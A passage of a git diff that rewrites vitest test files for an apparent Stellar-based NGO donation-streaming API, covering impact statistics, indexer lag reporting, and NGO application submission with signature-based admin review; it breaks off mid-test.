+ }); + + const response = await app.inject({ method: 'GET', url: '/v1/impact' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + // committed = (600+400) + (0+200) = 1200 + expect(body.totalCommitted).toBe('1200'); + expect(body.committedByToken).toEqual([ + { tokenAddress: fakeAddress('T'), amount: '1000' }, + { tokenAddress: fakeAddress('U'), amount: '200' }, + ]); + // withdrawn = 400 + 200 = 600 + expect(body.totalWithdrawn).toBe('600'); + expect(body.activeStreams).toBe(1); + expect(body.verifiedNgoCount).toBe(2); + + await app.close(); + }); + + it('excludes refunded balance from totalCommitted when a stream is cancelled', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('E'), name: 'Refund NGO', verified: true }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('F') } }); + + // Active stream: balance=500, withdrawn=500 → committed = 1000 + await prisma.stream.create({ + data: { + onChainId: 10n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '10', + balance: '500', + withdrawn: '500', + status: 'ACTIVE', + }, + }); + + // Cancelled stream: 400 was withdrawn to NGO; remaining balance was + // refunded to donor and zeroed on-chain. Only 400 must count. + await prisma.stream.create({ + data: { + onChainId: 11n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '0', + balance: '0', + withdrawn: '400', + status: 'CANCELLED', + }, + }); + + const response = await app.inject({ method: 'GET', url: '/v1/impact' }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + // active 1000 + cancelled 400 = 1400 + expect(body.totalCommitted).toBe('1400'); + expect(body.totalWithdrawn).toBe('900'); + expect(body.activeStreams).toBe(1); + + await app.close(); + }); +}); + +describe('GET /v1/impact/:ngoId', () => { + afterEach(async () => { + await resetDb(); + }); + + it('400s for a non-UUID id', async () => { + const app = buildServer(); + + const response = await app.inject({ method: 'GET', url: '/v1/impact/not-a-uuid' }); + expect(response.statusCode).toBe(400); + expect(response.json()).toEqual({ error: 'invalid_request' }); + + await app.close(); + }); + + it('404s for an unknown NGO id', async () => { + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/impact/00000000-0000-0000-0000-000000000000', + }); + expect(response.statusCode).toBe(404); + + await app.close(); + }); + + it('returns zero platformSharePercent when the platform has no streams', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { + ownerAddress: fakeAddress('A'), + name: 'Empty NGO', + displayName: 'Community Fund', + verified: true, + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.name).toBe('Community Fund'); + expect(body.platformSharePercent).toBe(0); + expect(body.totalCommitted).toBe('0'); + expect(body.activeStreams).toBe(0); + expect(body.cancelledStreams).toBe(0); + expect(body.uniqueDonors).toBe(0); + + await app.close(); + }); + + it('computes stats correctly across two NGOs', async () => { + const app = buildServer(); + + const ngo1 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('B'), name: 'NGO One', verified: true }, + }); + const ngo2 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('C'), name: 'NGO Two', verified: true }, + }); + const donor1 = await prisma.donor.create({ data: { address: fakeAddress('D') } }); + const donor2 = await prisma.donor.create({ data: { address: fakeAddress('E') } }); + + // ngo1: one active stream (balance=600, withdrawn=400) + one cancelled (balance=0, withdrawn=200) + // committed = (600+400) + (0+200) = 1200 + await prisma.stream.create({ + data: { + onChainId: 1n, + donorId: donor1.id, + ngoId: ngo1.id, + tokenAddress: fakeAddress('T'), + rate: '10', + balance: '600', + withdrawn: '400', + status: 'ACTIVE', + }, + }); + await prisma.stream.create({ + data: { + onChainId: 2n, + donorId: donor2.id, + ngoId: ngo1.id, + tokenAddress: fakeAddress('U'), + rate: '0', + balance: '0', + withdrawn: '200', + status: 'CANCELLED', + }, + }); + + // ngo2: one active stream (balance=600, withdrawn=200) + // committed = 800 + await prisma.stream.create({ + data: { + onChainId: 3n, + donorId: donor1.id, + ngoId: ngo2.id, + tokenAddress: fakeAddress('T'), + rate: '5', + balance: '600', + withdrawn: '200', + status: 'ACTIVE', + }, + }); + + // platform total committed = 1200 + 800 = 2000 + // ngo1 share = 1200 / 2000 = 60% + + const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo1.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.ngoId).toBe(ngo1.id); + expect(body.totalCommitted).toBe('1200'); + expect(body.committedByToken).toEqual([ + { tokenAddress: fakeAddress('T'), amount: '1000' }, + { tokenAddress: fakeAddress('U'), amount: '200' }, + ]); + expect(body.platformCommittedByToken).toEqual([ + { tokenAddress: fakeAddress('T'), amount: '1800' }, + { tokenAddress: fakeAddress('U'), amount: '200' }, + ]); + expect(body.totalWithdrawn).toBe('600'); + expect(body.activeStreams).toBe(1); + expect(body.cancelledStreams).toBe(1); + expect(body.uniqueDonors).toBe(2); + expect(body.platformSharePercent).toBe(60); + + await app.close(); + }); + + it('maintains precision for tiny NGO shares', async () => { + const app = buildServer(); + + const ngo1 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('X'), name: 'Tiny NGO', verified: true }, + }); + const ngo2 = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('Y'), name: 'Huge NGO', verified: true }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('Z') } }); + + // ngo1: 1 unit committed + await prisma.stream.create({ + data: { + onChainId: 10n, + donorId: donor.id, + ngoId: ngo1.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '1', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + // ngo2: 10000 units committed + await prisma.stream.create({ + data: { + onChainId: 11n, + donorId: donor.id, + ngoId: ngo2.id, + tokenAddress: fakeAddress('T'), + rate: '1', + balance: '10000', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo1.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.platformSharePercent).toBeGreaterThan(0); + expect(body.platformSharePercent).toBeLessThan(0.01); + + await app.close(); + }); + + it('counts unique donors correctly when the same donor has multiple streams', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('F'), name: 'Loyal NGO', verified: true }, + }); + const donor = await prisma.donor.create({ data: { address: fakeAddress('G') } }); + + await prisma.stream.create({ + data: { + onChainId: 4n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '10', + balance: '100', + withdrawn: '0', + status: 'ACTIVE', + }, + }); + await prisma.stream.create({ + data: { + onChainId: 5n, + donorId: donor.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '0', + balance: '0', + withdrawn: '50', + status: 'CANCELLED', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + expect(body.uniqueDonors).toBe(1); + + await app.close(); + }); + + it('excludes refunded balance from totalCommitted for a cancelled stream', async () => { + const app = buildServer(); + + const ngo = await prisma.ngo.create({ + data: { ownerAddress: fakeAddress('H'), name: 'Refund NGO', verified: true }, + }); + const donor1 = await prisma.donor.create({ data: { address: fakeAddress('I') } }); + const donor2 = await prisma.donor.create({ data: { address: fakeAddress('J') } }); + + // Active stream: balance=600, withdrawn=400 → committed = 1000 + await prisma.stream.create({ + data: { + onChainId: 6n, + donorId: donor1.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '10', + balance: '600', + withdrawn: '400', + status: 'ACTIVE', + }, + }); + + // Cancelled stream: donor deposited 800, 300 was withdrawn to NGO, 500 + // was refunded to donor (reflected as balance=0 after contract settles). + // totalCommitted must count only the withdrawn 300, not 300+500=800. + await prisma.stream.create({ + data: { + onChainId: 7n, + donorId: donor2.id, + ngoId: ngo.id, + tokenAddress: fakeAddress('T'), + rate: '0', + balance: '0', + withdrawn: '300', + status: 'CANCELLED', + }, + }); + + const response = await app.inject({ method: 'GET', url: `/v1/impact/${ngo.id}` }); + expect(response.statusCode).toBe(200); + + const body = response.json(); + // active 1000 + cancelled 300 = 1300 (not 1300 + 500 refunded = 1800) + expect(body.totalCommitted).toBe('1300'); + expect(body.totalWithdrawn).toBe('700'); + expect(body.activeStreams).toBe(1); + expect(body.cancelledStreams).toBe(1); + + await app.close(); + }); +}); diff --git a/test/routes/indexerStatus.test.ts b/test/routes/indexerStatus.test.ts index 62d58f4..30ae763 100644 --- a/test/routes/indexerStatus.test.ts +++ b/test/routes/indexerStatus.test.ts @@ -1,126 +1,126 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -import { saveCheckpoint } from '../../src/indexer/checkpoint.js'; -import { buildServer } from '../../src/server.js'; -import * as rpc from '../../src/stellar/rpc.js'; -import { resetDb } from '../helpers/db.js'; - -describe('GET /v1/indexer/status (#59, #256)', () => { - const originalWatched = process.env.WATCHED_CONTRACT_IDS; - const originalRegistry = process.env.NGO_REGISTRY_CONTRACT_ID; - const originalVault = process.env.DONATION_VAULT_CONTRACT_ID; - const originalLegacy = process.env.CONTRACT_IDS; - - beforeEach(async () => { - vi.restoreAllMocks(); - await resetDb(); - }); - - afterEach(() => { - if (originalWatched !== undefined) { - process.env.WATCHED_CONTRACT_IDS = originalWatched; - } else { - delete process.env.WATCHED_CONTRACT_IDS; - } - - if (originalRegistry !== undefined) { - process.env.NGO_REGISTRY_CONTRACT_ID = originalRegistry; - } else { - delete process.env.NGO_REGISTRY_CONTRACT_ID; - } - - if (originalVault !== undefined) { - process.env.DONATION_VAULT_CONTRACT_ID = originalVault; - } else { - delete process.env.DONATION_VAULT_CONTRACT_ID; - } - - if (originalLegacy !== undefined) { - process.env.CONTRACT_IDS = originalLegacy; - } else { - delete process.env.CONTRACT_IDS; - } - }); - - it('returns configured: false when no contract IDs are set', async () => { - delete process.env.WATCHED_CONTRACT_IDS; - delete process.env.NGO_REGISTRY_CONTRACT_ID; - delete process.env.DONATION_VAULT_CONTRACT_ID; - delete process.env.CONTRACT_IDS; - - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - }); - - expect(response.statusCode).toBe(200); - expect(response.json()).toEqual({ - configured: false, - checkpointLedger: null, - updatedAt: null, - latestLedger: null, - ledgerLag: null, - }); - - await app.close(); - }); - - it('returns real checkpoint, latest ledger, and lag when configured', async () => { - process.env.WATCHED_CONTRACT_IDS = 'C_TESTCONTRACT123'; - - // Seed a specific checkpoint ledger in the database - await saveCheckpoint(123450); - - // Mock the RPC to return a known latest ledger - vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(123455); - - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - - // Assert exact values to ensure the endpoint reads real data, not stubs. - // This test would fail if the implementation returned hardcoded placeholders. - expect(body.configured).toBe(true); - expect(body.checkpointLedger).toBe(123450); - expect(body.latestLedger).toBe(123455); - expect(body.ledgerLag).toBe(5); - expect(body.updatedAt).not.toBeNull(); - expect(new Date(body.updatedAt).getTime()).not.toBeNaN(); - - await app.close(); - }); - - it('recognizes legacy CONTRACT_IDS alias', async () => { - delete process.env.WATCHED_CONTRACT_IDS; - delete process.env.NGO_REGISTRY_CONTRACT_ID; - delete process.env.DONATION_VAULT_CONTRACT_ID; - process.env.CONTRACT_IDS = 'C_LEGACYCONTRACT123'; - - await saveCheckpoint(123450); - vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(123455); - - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/indexer/status', - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.configured).toBe(true); - expect(body.checkpointLedger).toBe(123450); - expect(body.latestLedger).toBe(123455); - expect(body.ledgerLag).toBe(5); - - await app.close(); - }); -}); +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; + +import { saveCheckpoint } from '../../src/indexer/checkpoint.js'; +import { buildServer } from '../../src/server.js'; +import * as rpc from '../../src/stellar/rpc.js'; +import { resetDb } from '../helpers/db.js'; + +describe('GET /v1/indexer/status (#59, #256)', () => { + const originalWatched = process.env.WATCHED_CONTRACT_IDS; + const originalRegistry = process.env.NGO_REGISTRY_CONTRACT_ID; + const originalVault = process.env.DONATION_VAULT_CONTRACT_ID; + const originalLegacy = process.env.CONTRACT_IDS; + + beforeEach(async () => { + vi.restoreAllMocks(); + await resetDb(); + }); + + afterEach(() => { + if (originalWatched !== undefined) { + process.env.WATCHED_CONTRACT_IDS = originalWatched; + } else { + delete process.env.WATCHED_CONTRACT_IDS; + } + + if (originalRegistry !== undefined) { + process.env.NGO_REGISTRY_CONTRACT_ID = originalRegistry; + } else { + delete process.env.NGO_REGISTRY_CONTRACT_ID; + } + + if (originalVault !== undefined) { + process.env.DONATION_VAULT_CONTRACT_ID = originalVault; + } else { + delete process.env.DONATION_VAULT_CONTRACT_ID; + } + + if (originalLegacy !== undefined) { + process.env.CONTRACT_IDS = originalLegacy; + } else { + delete process.env.CONTRACT_IDS; + } + }); + + it('returns configured: false when no contract IDs are set', async () => { + delete process.env.WATCHED_CONTRACT_IDS; + delete process.env.NGO_REGISTRY_CONTRACT_ID; + delete process.env.DONATION_VAULT_CONTRACT_ID; + delete process.env.CONTRACT_IDS; + + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + }); + + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ + configured: false, + checkpointLedger: null, + updatedAt: null, + latestLedger: null, + ledgerLag: null, + }); + + await app.close(); + }); + + it('returns real checkpoint, latest ledger, and lag when configured', async () => { + process.env.WATCHED_CONTRACT_IDS = 'C_TESTCONTRACT123'; + + // Seed a specific checkpoint ledger in the database + await saveCheckpoint(123450); + + // Mock the RPC to return a known latest ledger + vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(123455); + + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + + // Assert exact values to ensure the endpoint reads real data, not stubs. + // This test would fail if the implementation returned hardcoded placeholders. + expect(body.configured).toBe(true); + expect(body.checkpointLedger).toBe(123450); + expect(body.latestLedger).toBe(123455); + expect(body.ledgerLag).toBe(5); + expect(body.updatedAt).not.toBeNull(); + expect(new Date(body.updatedAt).getTime()).not.toBeNaN(); + + await app.close(); + }); + + it('recognizes legacy CONTRACT_IDS alias', async () => { + delete process.env.WATCHED_CONTRACT_IDS; + delete process.env.NGO_REGISTRY_CONTRACT_ID; + delete process.env.DONATION_VAULT_CONTRACT_ID; + process.env.CONTRACT_IDS = 'C_LEGACYCONTRACT123'; + + await saveCheckpoint(123450); + vi.spyOn(rpc, 'getLatestLedgerSequence').mockResolvedValue(123455); + + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/v1/indexer/status', + }); + + expect(response.statusCode).toBe(200); + const body = response.json(); + expect(body.configured).toBe(true); + expect(body.checkpointLedger).toBe(123450); + expect(body.latestLedger).toBe(123455); + expect(body.ledgerLag).toBe(5); + + await app.close(); + }); +}); diff --git a/test/routes/ngoApplications.test.ts b/test/routes/ngoApplications.test.ts index ad5778c..f5f6eec 100644 --- a/test/routes/ngoApplications.test.ts +++ b/test/routes/ngoApplications.test.ts @@ -1,1027 +1,1027 @@ -import { Keypair } from '@stellar/stellar-sdk'; -import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'; - -vi.mock('../../src/notifications/service.js', () => ({ notify: vi.fn() })); - -import { prisma } from '../../src/db.js'; -import { MAX_APPLICATION_LIST_OFFSET } from '../../src/routes/ngoApplications.js'; -import { buildServer } from '../../src/server.js'; -import { notify } from '../../src/notifications/service.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; -import { signAdminRequest } from '../helpers/adminAuth.js'; - -const adminKeypair = Keypair.random(); -const applicationOwnerKeypair = Keypair.random(); - -function validApplicationPayload(overrides: Partial> = {}) { - return { - ownerAddress: applicationOwnerKeypair.publicKey(), - name: 'Test NGO', - description: 'A test NGO description.', - contactEmail: 'ngo@example.com', - ...overrides, - }; -} - -async function signedApplicationPayload( - app: ReturnType, - overrides: Partial> = {}, - signer: Keypair = applicationOwnerKeypair, -) { - const payload = validApplicationPayload(overrides); - const challengeResponse = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications/challenge', - payload: { ownerAddress: payload.ownerAddress }, - }); - if (challengeResponse.statusCode !== 201) { - throw new Error(`Failed to issue application challenge: ${challengeResponse.statusCode}`); - } - const challengeData = challengeResponse.json() as { challenge: string; message: string }; - const signature = Buffer.from(signer.sign(sep53Hash(challengeData.message))).toString('base64'); - return { ...payload, challenge: challengeData.challenge, signature }; -} - -describe('POST /v1/ngo-applications', () => { - const originalResendApiKey = process.env.RESEND_API_KEY; - const originalEmailFrom = process.env.NOTIFY_EMAIL_FROM; - const originalApiPublicUrl = process.env.API_PUBLIC_URL; - - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - if (originalResendApiKey === undefined) delete process.env.RESEND_API_KEY; - else process.env.RESEND_API_KEY = originalResendApiKey; - if (originalEmailFrom === undefined) delete process.env.NOTIFY_EMAIL_FROM; - else process.env.NOTIFY_EMAIL_FROM = originalEmailFrom; - if (originalApiPublicUrl === undefined) delete process.env.API_PUBLIC_URL; - else process.env.API_PUBLIC_URL = originalApiPublicUrl; - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - it('creates a pending application', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app), - }); - - expect(response.statusCode).toBe(201); - expect(response.json().status).toBe('PENDING'); - expect(notify).toHaveBeenCalledWith({ - type: 'application_submitted', - applicationId: response.json().id, - ownerAddress: response.json().ownerAddress, - name: response.json().name, - }); - - await app.close(); - }); - - it('verifies the contact email with a single-use link', async () => { - process.env.RESEND_API_KEY = 'test-key'; - process.env.NOTIFY_EMAIL_FROM = 'verify@example.org'; - process.env.API_PUBLIC_URL = 'https://api.example.org'; - const fetchSpy = vi - .spyOn(globalThis, 'fetch') - .mockResolvedValue(new Response(null, { status: 200 })); - const app = buildServer(); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app), - }); - expect(response.statusCode).toBe(201); - expect(response.json().emailVerifiedAt).toBeNull(); - expect(fetchSpy).toHaveBeenCalledTimes(1); - - const email = JSON.parse(String(fetchSpy.mock.calls[0][1]?.body)) as { html: string }; - const [, link] = email.html.match(/href="([^"]+)"/) ?? []; - if (!link) throw new Error('verification link was missing from the email'); - const token = new URL(link).searchParams.get('token'); - if (!token) throw new Error('verification token was missing from the link'); - expect(token).toHaveLength(43); - - const verified = await app.inject({ - method: 'GET', - url: `/v1/ngo-applications/verify-contact-email?token=${token}`, - }); - expect(verified.statusCode).toBe(200); - expect(verified.json()).toEqual({ verified: true }); - - const reused = await app.inject({ - method: 'GET', - url: `/v1/ngo-applications/verify-contact-email?token=${token}`, - }); - expect(reused.statusCode).toBe(400); - expect( - (await prisma.ngoApplication.findUnique({ where: { id: response.json().id } })) - ?.emailVerifiedAt, - ).not.toBeNull(); - - await app.close(); - }); - - it('rejects a signature from another Stellar key', async () => { - const app = buildServer(); - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app, {}, Keypair.random()), - }); - - expect(response.statusCode).toBe(401); - expect(response.json().error).toBe('invalid_signature'); - - await app.close(); - }); - - it('rejects an expired challenge', async () => { - const app = buildServer(); - const payload = await signedApplicationPayload(app); - await prisma.ngoApplicationChallenge.update({ - where: { challenge: payload.challenge }, - data: { expiresAt: new Date(Date.now() - 1000) }, - }); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload, - }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_or_expired_challenge'); - - await app.close(); - }); - - it('rejects invalid input with 400', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app, { contactEmail: 'not-an-email' }), - }); - - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('accepts a scheme-less website domain and normalizes it to https://', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app, { website: 'example.org' }), - }); - - expect(response.statusCode).toBe(201); - expect(response.json().website).toBe('https://example.org'); - - await app.close(); - }); - - it('accepts an already-schemed https website without double-prepending', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app, { website: 'https://example.org' }), - }); - - expect(response.statusCode).toBe(201); - expect(response.json().website).toBe('https://example.org'); - - await app.close(); - }); - - it('rejects a malformed ownerAddress with 400', async () => { - const app = buildServer(); - - const payload = validApplicationPayload({ ownerAddress: 'invalid-stellar-address' }); - const response = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: { ...payload, challenge: '00000000-0000-4000-8000-000000000000', signature: 'invalid' }, - }); - - expect(response.statusCode).toBe(400); - - await app.close(); - }); - - it('rejects a second pending application from the same address with 409', async () => { - const app = buildServer(); - const payload = await signedApplicationPayload(app); - - const first = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); - expect(first.statusCode).toBe(201); - - const second = await app.inject({ - method: 'POST', - url: '/v1/ngo-applications', - payload: await signedApplicationPayload(app), - }); - expect(second.statusCode).toBe(409); - - await app.close(); - }); - - it('rejects a new application from an already-approved NGO with 409 already_approved', async () => { - const app = buildServer(); - const payload = await signedApplicationPayload(app); - - await prisma.ngoApplication.create({ - data: { ...validApplicationPayload(), status: 'APPROVED' }, - }); - - const response = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); - expect(response.statusCode).toBe(409); - expect(response.json().error).toBe('already_approved'); - - await app.close(); - }); - - it('allows a rejected applicant to submit a new application', async () => { - const app = buildServer(); - const payload = await signedApplicationPayload(app); - - await prisma.ngoApplication.create({ - data: { ...validApplicationPayload(), status: 'REJECTED' }, - }); - - const response = await app.inject({ method: 'POST', url: '/v1/ngo-applications', payload }); - expect(response.statusCode).toBe(201); - expect(response.json().status).toBe('PENDING'); - - await app.close(); - }); - - it('lets only one of two concurrent submissions through', async () => { - const app = buildServer(); - const [firstPayload, secondPayload] = await Promise.all([ - signedApplicationPayload(app), - signedApplicationPayload(app), - ]); - - // Fired together rather than awaited in sequence: sequential requests are - // already covered above, and only a genuine overlap exercises the race - // where both requests read "nothing blocking" before either inserts. - const [first, second] = await Promise.all([ - app.inject({ method: 'POST', url: '/v1/ngo-applications', payload: firstPayload }), - app.inject({ method: 'POST', url: '/v1/ngo-applications', payload: secondPayload }), - ]); - - expect([first.statusCode, second.statusCode].sort((a, b) => a - b)).toEqual([201, 409]); - - const loser = first.statusCode === 409 ? first : second; - expect(loser.json().error).toBe('application_already_pending'); - - const stored = await prisma.ngoApplication.findMany({ - where: { ownerAddress: firstPayload.ownerAddress }, - }); - expect(stored).toHaveLength(1); - expect(stored[0].status).toBe('PENDING'); - - await app.close(); - }); -}); - -describe('GET /v1/ngo-applications/status', () => { - afterEach(async () => { - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - it('returns the review note for the latest reviewed application without exposing submitted details', async () => { - const app = buildServer(); - const ownerAddress = fakeAddress('S'); - - await prisma.ngoApplication.create({ - data: validApplicationPayload({ ownerAddress, status: 'REJECTED' }), - }); - const latest = await prisma.ngoApplication.create({ - data: validApplicationPayload({ - ownerAddress, - status: 'REJECTED', - reviewNote: 'Please provide registration documents.', - }), - }); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngo-applications/status?ownerAddress=${ownerAddress}`, - }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.status).toBe('REJECTED'); - expect(body.createdAt).toBe(latest.createdAt.toISOString()); - expect(body.updatedAt).toBe(latest.updatedAt.toISOString()); - expect(body.reviewNote).toBe('Please provide registration documents.'); - // No contact details or other application fields leak out. - expect(Object.keys(body).sort()).toEqual(['createdAt', 'reviewNote', 'status', 'updatedAt']); - - await app.close(); - }); - - it('returns 404 when the address has no application', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: `/v1/ngo-applications/status?ownerAddress=${fakeAddress('N')}`, - }); - - expect(response.statusCode).toBe(404); - expect(response.json().error).toBe('not_found'); - - await app.close(); - }); - - it('rejects a malformed address with 400', async () => { - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/v1/ngo-applications/status?ownerAddress=not-an-address', - }); - - expect(response.statusCode).toBe(400); - expect(response.json().error).toBe('invalid_request'); - - await app.close(); - }); - - it('rejects a missing address with 400', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications/status' }); - - expect(response.statusCode).toBe(400); - - await app.close(); - }); -}); - -describe('admin NGO application review', () => { - beforeAll(() => { - process.env.ADMIN_ADDRESS = adminKeypair.publicKey(); - }); - - afterEach(async () => { - vi.mocked(notify).mockClear(); - await resetDb(); - }); - - it('rejects an unsigned request with 401', async () => { - const app = buildServer(); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications' }); - expect(response.statusCode).toBe(401); - - await app.close(); - }); - - it('returns 503 when admin authentication is not configured', async () => { - const app = buildServer(); - const configuredAddress = process.env.ADMIN_ADDRESS; - delete process.env.ADMIN_ADDRESS; - - try { - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications' }); - expect(response.statusCode).toBe(503); - expect(response.json().error).toBe('admin_auth_not_configured'); - } finally { - if (configuredAddress === undefined) delete process.env.ADMIN_ADDRESS; - else process.env.ADMIN_ADDRESS = configuredAddress; - await app.close(); - } - }); - - it('rejects a validly encoded signature with the wrong byte length', async () => { - const app = buildServer(); - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); - headers['x-admin-signature'] = Buffer.alloc(63).toString('base64'); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); - expect(response.statusCode).toBe(401); - expect(response.json().error).toBe('unauthorized'); - - await app.close(); - }); - - it('allows a correctly signed admin request', async () => { - const app = buildServer(); - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); - expect(response.statusCode).toBe(200); - - await app.close(); - }); - - it('rejects a seconds-based timestamp with a clear unit error', async () => { - const app = buildServer(); - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications', Math.floor(Date.now() / 1000).toString()); - - const response = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); - expect(response.statusCode).toBe(401); - expect(response.json().error).toBe('timestamp_unit_mismatch'); - - await app.close(); - }); - - it('rejects replaying the same signed request within the freshness window', async () => { - const app = buildServer(); - const headers = signAdminRequest(adminKeypair, 'GET', '/v1/ngo-applications'); - - const first = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); - expect(first.statusCode).toBe(200); - - const replay = await app.inject({ method: 'GET', url: '/v1/ngo-applications', headers }); - expect(replay.statusCode).toBe(401); - expect(replay.json().error).toBe('replayed_signature'); - - await app.close(); - }); - - it('paginates applications while reporting the full total', async () => { - const app = buildServer(); - await Promise.all( - ['A', 'B', 'C'].map((suffix) => - prisma.ngoApplication.create({ - data: validApplicationPayload({ ownerAddress: fakeAddress(suffix) }), - }), - ), - ); - - const url = '/v1/ngo-applications?limit=2&offset=1'; - const headers = signAdminRequest(adminKeypair, 'GET', url); - const response = await app.inject({ method: 'GET', url, headers }); - - expect(response.statusCode).toBe(200); - const body = response.json(); - expect(body.total).toBe(3); - expect(body.limit).toBe(2); - expect(body.offset).toBe(1); - expect(body.applications).toHaveLength(2); - - await app.close(); - }); - it('approves a pending application', async () => { - const app = buildServer(); - - const application = await prisma.ngoApplication.create({ - data: { ...validApplicationPayload(), emailVerifiedAt: new Date() }, - }); - const url = `/v1/ngo-applications/${application.id}/approve`; - const body = JSON.stringify({}); - const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); - - const response = await app.inject({ method: 'POST', url, headers, payload: {} }); - expect(response.statusCode).toBe(200); - expect(response.json().status).toBe('APPROVED'); - expect(response.json().reviewedBy).toBe(adminKeypair.publicKey()); - expect(response.json().reviewedAt).toBeTypeOf('string'); - - const stored = await prisma.ngoApplication.findUnique({ where: { id: application.id } }); - expect(stored?.status).toBe('APPROVED'); - expect(stored?.reviewedBy).toBe(adminKeypair.publicKey()); - expect(stored?.reviewedAt).toBeInstanceOf(Date); - expect(notify).toHaveBeenCalledWith({ - type: 'application_reviewed', - applicationId: application.id, - ownerAddress: application.ownerAddress, - status: 'APPROVED', - }); - - await app.close(); - }); - - it('notifies when a pending application is rejected', async () => { - const app = buildServer(); - const application = await prisma.ngoApplication.create({ - data: { ...validApplicationPayload(), emailVerifiedAt: new Date() }, - }); - const url = `/v1/ngo-applications/${application.id}/reject`; - const body = JSON.stringify({ reviewNote: 'Insufficient documentation' }); - const headers = signAdminRequest(adminKeypair, 'POST', url, undefined, body); - - const response = await app.inject({ - method: 'POST', - url, - headers, - payload: { reviewNote: 'Insufficient documentation' }, - }); - - expect(response.statusCode).toBe(200); - expect(response.json().status).toBe('REJECTED'); - expect(response.json().reviewedBy).toBe(adminKeypair.publicKey()); - expect(response.json().reviewedAt).toBeTypeOf('string'); - expect(notify).toHaveBeenCalledWith({ - type: 'application_reviewed', - applicationId: application.id, - ownerAddress: application.ownerAddress, - status: 'REJECTED', - 